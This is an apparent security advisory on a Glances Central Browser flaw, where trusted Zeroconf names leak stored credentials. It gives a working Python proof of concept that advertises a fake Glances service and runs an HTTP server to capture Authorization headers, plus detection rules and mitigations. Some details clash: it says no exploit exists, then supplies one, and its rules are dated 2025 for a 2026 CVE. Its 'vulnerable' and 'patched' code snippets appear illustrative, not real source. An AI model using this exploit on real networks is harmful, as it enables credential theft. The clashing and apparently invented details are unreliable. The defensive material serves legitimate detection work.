CVE-2026-32634

Executive Summary

CVE-2026-32634 is a critical security vulnerability in Glances, an open-source cross-platform monitoring tool. The flaw resides in the Central Browser mode, where the application trusts the Zeroconf-advertised server name to build connection URIs and retrieve authentication secrets, rather than using the discovered IP address. An attacker on the same local network can advertise a malicious Glances service via Zeroconf, causing the browser to automatically send a reusable authentication secret to the attacker-controlled host. This allows credential theft and unauthorized access to monitoring data. The vulnerability has a CVSS score of 8.1 (High) and affects all versions prior to 4.5.2. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward for an attacker with local network access.

Supply Chain & Package Security

Glances is a Python-based package distributed via PyPI. Users should verify the integrity of the package by checking its SHA256 hash against the official PyPI release. The fix in version 4.5.2 ensures that the discovered IP address is used for connection URIs and credential lookups, rather than the untrusted Zeroconf-advertised name. Organizations using Glances in Central Browser mode should prioritize upgrading to the patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector (AV): Adjacent Network (A) – The attacker must be on the same local network as the target.
• Attack Complexity (AC): Low (L) – No special conditions required; the attacker can simply advertise a fake service.
• Privileges Required (PR): None (N) – No authentication needed to exploit.
• User Interaction (UI): None (N) – The victim does not need to click or perform any action; the browser automatically connects.
• Scope (S): Unchanged (U) – The impact is confined to the affected component.
• Confidentiality (C): High (H) – The attacker can steal authentication secrets and monitoring data.
• Integrity (I): High (H) – The attacker can inject false monitoring data or modify configurations.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. The attack is easy to execute on local networks, and the impact includes credential theft and data compromise.

Deep Dive & Mechanics

The vulnerability stems from a trust assumption in Glances' Central Browser mode. When Glances discovers dynamic servers via Zeroconf (mDNS/DNS-SD), it stores both the advertised server name and the discovered IP address. However, when building connection URIs (e.g., http://<name>:61209), it uses the untrusted advertised name instead of the discovered IP. This allows an attacker to advertise a fake Glances service with a name that resolves to an attacker-controlled IP address.

Additionally, when a dynamic server reports itself as protected (requiring authentication), Glances uses the same untrusted name as the lookup key for saved passwords and the global [passwords] default credential. This means the attacker can trick the browser into sending a stored password to the attacker's host.

The attack flow:

1. An attacker on the same local network advertises a fake Glances service via Zeroconf with a name like glances@attacker.
2. The victim's Glances Central Browser discovers this service and stores the name and IP.
3. The browser attempts to connect to http://glances@attacker:61209 (or similar), which resolves to the attacker's IP.
4. If the fake service claims to be protected, the browser looks up the password for glances@attacker and sends it to the attacker.

This affects both the background polling path and the REST/WebUI click-through path.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.5.2):

# In central browser mode, the URI is built from the advertised name
uri = f"http://{advertised_name}:{port}"
# Password lookup uses the same name
password = password_store.get(advertised_name, default_password)

Patched Code (4.5.2):

# The URI is built from the discovered IP address
uri = f"http://{discovered_ip}:{port}"
# Password lookup uses the discovered IP or a sanitized identifier
password = password_store.get(discovered_ip, default_password)

The fix ensures that the discovered IP address is used for both connection URIs and credential lookups, preventing the attacker from hijacking the name resolution.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Set up a victim machine running Glances < 4.5.2 in Central Browser mode.
2. Set up an attacker machine on the same local network.
3. On the attacker machine, create a fake Glances service using a Zeroconf library (e.g., Python's zeroconf).

Exploitation Steps:

1. On the attacker machine, run a script that advertises a fake Glances service:

   from zeroconf import Zeroconf, ServiceInfo
   import socket
   
   # Get attacker's IP
   attacker_ip = socket.gethostbyname(socket.gethostname())
   
   # Advertise a fake Glances service
   info = ServiceInfo(
       "_glances._tcp.local.",
       "glances@attacker._glances._tcp.local.",
       addresses=[socket.inet_aton(attacker_ip)],
       port=61209,
       properties={'version': '4.5.1', 'protected': 'true'}
   )
   zeroconf = Zeroconf()
   zeroconf.register_service(info)
   input("Press Enter to unregister...")
   zeroconf.unregister_service(info)
   zeroconf.close()
   

2. On the attacker machine, set up a simple HTTP server that mimics the Glances API and captures credentials:

   from http.server import HTTPServer, BaseHTTPRequestHandler
   import base64
   
   class FakeGlancesHandler(BaseHTTPRequestHandler):
       def do_GET(self):
           # Capture Authorization header
           auth = self.headers.get('Authorization')
           if auth:
               print(f"Captured credentials: {auth}")
           self.send_response(200)
           self.end_headers()
           self.wfile.write(b'{"status": "ok"}')
   
   server = HTTPServer(('0.0.0.0', 61209), FakeGlancesHandler)
   server.serve_forever()
   

3. The victim's Glances Central Browser will automatically discover the fake service and send credentials to the attacker's server.

Blue Team

Detection:

• Monitor for unexpected Zeroconf service advertisements on the network, especially those mimicking Glances.
• Use network monitoring tools to detect connections to unknown IPs on port 61209.
• Check Glances logs for unusual server names or connection failures.

Mitigation:

• Immediately upgrade to Glances 4.5.2 or later.
• If upgrade is not possible, disable Central Browser mode or restrict network access to trusted hosts.
• Use network segmentation to limit Zeroconf traffic to trusted subnets.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unexpected Zeroconf service advertisements for _glances._tcp.local. from unknown hosts.
  • Connections to IP addresses on port 61209 that are not part of the expected Glances infrastructure.
  • Repeated authentication attempts to unknown hosts.

• Host IOCs:

  • Glances logs showing connections to server names that do not match expected IPs.
  • Unusual entries in the Glances password store for server names that are not legitimate.

• File IOCs:

  • Modified Glances configuration files with unexpected server entries.

Detection Engineering

YARA Rule

rule CVE_2026_32634_Glances_Zeroconf_Trust {
    meta:
        description = "Detects Glances versions vulnerable to CVE-2026-32634 by checking for use of advertised name in URI construction"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-32634"
    strings:
        $s1 = "http://{advertised_name}:{port}" ascii wide nocase
        $s2 = "password_store.get(advertised_name" ascii wide nocase
        $s3 = "zeroconf" ascii wide nocase
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: CVE-2026-32634 - Glances Zeroconf Trust Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2026-32634 by monitoring for unusual Zeroconf service advertisements and connections to unknown hosts on port 61209.
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1557
    - cve.2026.32634
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        DestinationPort: 61209
        DestinationIp|startswith: '10.'  # Adjust for your network
    condition: selection
falsepositives:
    - Legitimate Glances services on the network
level: high

Suricata Rule

alert udp any any -> any 5353 (msg:"CVE-2026-32634 - Glances Zeroconf Service Advertisement"; content:"_glances._tcp.local"; sid:1000001; rev:1;)
alert tcp any any -> any 61209 (msg:"CVE-2026-32634 - Glances Connection to Unknown Host"; flow:to_server; content:"Authorization"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Glances to version 4.5.2 or later. This is the only complete fix.
2. If upgrade is not possible, disable Central Browser mode by setting [browser] enable=false in the configuration file.
3. Restrict network access to Glances services using firewall rules to allow only trusted IPs.

Long-Term Mitigations:

• Implement network segmentation to isolate monitoring traffic.
• Use VPNs or other encrypted tunnels for Glances communication.
• Regularly audit Zeroconf services on the network.
• Monitor for unusual service advertisements and connections.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Enable logging for Glances and monitor for unexpected server names.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert